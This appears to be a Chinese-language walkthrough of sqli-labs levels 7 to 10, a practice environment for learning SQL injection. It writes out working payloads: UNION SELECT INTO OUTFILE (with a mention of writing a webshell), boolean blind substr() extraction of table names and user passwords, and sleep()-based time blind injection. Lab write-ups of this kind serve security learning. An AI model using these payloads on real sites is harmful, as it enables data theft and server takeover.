less-7
先测试单引号,会报错。
发现,报错信息没有像之前一样,输出一些有用的信息/
对id参数(闭合语句的条件)进行一波测试
从以上两条信息可以推断出,单引号是闭合语句的条件之一
接着带着单引号进行测试。
单引号加括号:index.php?id=1’)%23
单引号加两个括号:index.php?id=1’))%23
ok,这里我们测试出了正确的闭合语句,可以推断后端查询语句为:
select * from users where id =(('$id'))
这里为什么是直接推断单引号后面跟上括号呢?
因为php脚本语言的原因,能识别的解析变量的字符就那几个,单引号、双引号、括号等。
页面提示:
You are in… Use outfile…
关键词outfile
我们知道,select查询可以对文档有操作:
读取文档:load_file()
导出文档:into outfile()
所以,这里应该是想让我们利用outfile的文档来查看回显,也可以选择outfile一句话木马来getshell。
接下来我们需要知道物理路径,但是这在第七关,有些麻烦,因为我们这道题相当于盲注
并且我们无法利用Mysql来爆php进程的物理路径
所以,我们可通过盲注来获取users表的信息。但是题目要求outfile,那我们自己就给自己一个物理路径。
由于我用的是phpstudy搭建的环境,所以我直接在我本机取一个目录就好
D:\phpstudy_pro\Extensions\MySQL8.0.12\data
构造payload:
index.php?id=1')) union select 1,2,3 into outfile "D:\\phpstudy_pro\\Extensions\\MySQL8.0.12\\data\\out1.php"%23
报错,查询结果应该显示在out1.php中,不知道为什么没有。这题先放这里吧。
less-8
经过测试,发现是字符型的注入。
并且是盲注,可以参考less-5,less-6.
先试试报错注入,
?id=-1'and extractvalue(1,(select database()))--+))
发现没有返回任何数据,说明无法使用报错注入,只能和less-5一样,结合bp,使用截断函数爆。
先猜测数据库长度,这里就不演示了,
zai再猜数据库名
?id=1'and substr((select database()),1,1)='a'--+
爆表(我这里是一张一张的爆,一起爆破的话数据整理起来太麻烦了)
?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a'--+
爆列
?id=1'and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a'--+
爆数据
?id=1'and substr((select username from users limit 0,1),1,1)='a'--+
?id=1'and substr((select password from users limit 0,1),1,1)='a'--+
下面是一起爆的数据
太长了,不好整理,还是一个一个的爆容易整理。
less-9
不管你是输入?id=1的还是?id=1’,都显示
此时结合sleep()函数判断输入那种sql注入。
?id=1 and sleep(5)--+
此时没有延迟。
?id=1' and sleep(5)--+
有延迟,说明是字符型注入。
结合bp,使用substr()函数。
和less-8操作一样。
less-10
结合sleep()测试了一波,发现输入?id=1"and sleep(5)–+有延迟,说明双引号闭合了,字符型注入。
这一关只要把第九关的单引号换成双引号就可以了。
?id=1"and substr((select database()),1,1)='s'--+
不过这关想试试ascii()函数,原理基本差不多
?id=1"and ascii(substr((select database()),1,1))>115--+